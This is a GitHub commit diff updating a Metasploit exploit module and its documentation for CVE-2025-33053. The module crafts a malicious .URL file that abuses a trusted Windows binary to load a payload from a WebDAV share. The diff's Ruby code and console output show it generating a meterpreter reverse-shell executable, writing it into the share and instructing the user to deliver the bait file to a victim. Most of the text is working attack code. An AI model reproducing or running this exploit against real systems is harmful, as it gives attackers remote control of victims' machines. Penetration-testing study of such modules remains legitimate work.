Skip to content

Commit 20629fe

Browse files
committed
Add some features and fix all errors for CVE-2025-33053 exploit module
1 parent 9e5dd09 commit 20629fe

File tree

2 files changed

+43
-30
lines changed

2 files changed

+43
-30
lines changed

documentation/modules/exploit/windows/fileformat/cve_2025_33053.md

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ This behavior can be exploited to:
2323

2424
## Verification Steps
2525

26-
1. Let the module setup WebDAV or do it manually
26+
1. Set up the WebDAV server.
2727
2. Use the module to generate a `.url` file
2828
3. Deliver the `.url` to the target (email, USB, zip)
2929
4. On victim machine, open `.url`
@@ -116,12 +116,23 @@ Optional:
116116
set WEBDAV_DIR /var/www/webdav
117117
set OUTFILE clickme.url
118118
set PAYLOAD windows/x64/meterpreter/reverse_http
119-
set START_LISTENER true
120119
run
121120
```console
122121

123122
## Output
124123

124+
msf6 > use exploit/windows/fileformat/cve_2025_33053
125+
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
126+
msf6 exploit(windows/fileformat/cve_2025_33053) > set LHOST 192.168.1.15
127+
LHOST => 192.168.1.15
128+
msf6 exploit(windows/fileformat/cve_2025_33053) > run
129+
[*] Started reverse TCP handler on 192.168.1.15:4444
130+
[*] Creating WebDAV directory if not exists...
131+
[+] Generating payload at: /var/www/webdav/payload.exe
132+
[+] Payload successfully written to /var/www/webdav/payload.exe
133+
[+] .URL file written to: /home/kali/bait.url
134+
[*] Module complete. Deliver /home/kali/bait.url to victim.
135+
125136
Example .url file:
126137

127138
```console
Lines changed: 30 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,3 @@
1-
require 'fileutils'
2-
31
class MetasploitModule < Msf::Exploit::Remote
42
Rank = NormalRanking
53

@@ -8,8 +6,8 @@ def initialize(info = {})
86
'Name' => 'CVE-2025-33053 Exploit via Malicious .URL File and WebDAV',
97
'Description' => %q{
108
This module creates a malicious .URL file that abuses CVE-2025-33053,
11-
optionally sets up a WebDAV server, generates a payload, places it into
12-
the WebDAV directory, and can launch a listener automatically.
9+
optionally generates a payload, places it into
10+
the WebDAV directory.
1311
},
1412
'Author' => ['Dev Bui Hieu'],
1513
'License' => MSF_LICENSE,
@@ -28,11 +26,8 @@ def initialize(info = {})
2826

2927
register_options(
3028
[
31-
OptString.new('LHOST', [true, 'Local host for reverse connection']),
32-
OptInt.new('LPORT', [true, 'Local port for reverse connection', 4444]),
3329
OptString.new('PAYLOAD', [true, 'Payload to generate', 'windows/x64/meterpreter/reverse_tcp']),
3430
OptBool.new('GEN_PAYLOAD', [true, 'Generate payload and move to WebDAV directory', true]),
35-
OptBool.new('START_LISTENER', [true, 'Start handler after setup', true]),
3631
OptString.new('WEBDAV_DIR', [true, 'WebDAV directory path', '/var/www/webdav']),
3732
OptString.new('OUTFILE', [true, 'Output URL file name', 'bait.url']),
3833
OptString.new('LOLBAS_EXE', [true, 'Path to trusted binary (LOLBAS)', 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe']),
@@ -43,17 +38,20 @@ def initialize(info = {})
4338
)
4439
end
4540

46-
def run
41+
def exploit
4742
lhost = datastore['LHOST']
4843
lport = datastore['LPORT']
4944
payload_type = datastore['PAYLOAD']
5045
webdav_dir = datastore['WEBDAV_DIR']
5146
gen_payload = datastore['GEN_PAYLOAD']
52-
start_listener = datastore['START_LISTENER']
5347

5448
print_status("Creating WebDAV directory if not exists...")
55-
FileUtils.mkdir_p(webdav_dir) unless File.directory?(webdav_dir)
56-
49+
begin
50+
FileUtils.mkdir_p(webdav_dir) unless File.directory?(webdav_dir)
51+
rescue Errno::EACCES
52+
fail_with(Failure::NoAccess, "Cannot create WebDAV directory. 🚫 Permission denied.\n💡 Try restarting Metasploit with sudo or change ownership of #{webdav_dir}.")
53+
end
54+
5755
if gen_payload
5856
exe_path = File.join(webdav_dir, 'payload.exe')
5957
print_good("Generating payload at: #{exe_path}")
@@ -71,28 +69,32 @@ def run
7169
Modified=#{datastore['MODIFIED_HEX']}
7270
EOF
7371

74-
url_file = File.join(Msf::Config.local_directory, datastore['OUTFILE'])
72+
url_file = File.expand_path(datastore['OUTFILE'])
7573
File.write(url_file, url_content)
7674
print_good(".URL file written to: #{url_file}")
7775

78-
if start_listener
79-
print_status("Starting handler as background job...")
80-
handler = framework.exploits.create('multi/handler')
81-
handler.datastore['PAYLOAD'] = payload_type
82-
handler.datastore['LHOST'] = lhost
83-
handler.datastore['LPORT'] = lport
84-
handler.exploit_simple('RunAsJob' => true)
85-
end
86-
8776
print_status("Module complete. Deliver #{url_file} to victim.")
8877
end
8978

90-
def generate_payload_exe(payload, lhost, lport, output_path)
91-
exe = framework.payloads.create(payload)
92-
exe.datastore['LHOST'] = lhost
93-
exe.datastore['LPORT'] = lport
94-
raw = exe.generate
95-
exe_file = Rex::Text.to_win32pe(raw, exe.arch)
96-
File.open(output_path, 'wb') { |f| f.write(exe_file) }
79+
def generate_payload_exe(payload_name, lhost, lport, output_path)
80+
81+
payload = framework.payloads.create(payload_name.to_s.strip)
82+
83+
payload.datastore['LHOST'] = lhost
84+
payload.datastore['LPORT'] = lport
85+
86+
raw = payload.generate
87+
88+
exe = Msf::Util::EXE.to_win32pe(framework, raw)
89+
90+
begin
91+
File.open(output_path, 'wb') { |f| f.write(exe) }
92+
print_good("Payload successfully written to #{output_path}")
93+
rescue Errno::EACCES
94+
fail_with(Failure::NoAccess, "Cannot write to #{output_path}. 🚫 Permission denied.\n💡 Try restarting Metasploit with sudo or change directory permissions.")
95+
end
96+
rescue => e
97+
print_error("Failed to generate payload: #{e.class} #{e.message}")
9798
end
99+
98100
end

0 commit comments

Comments
 (0)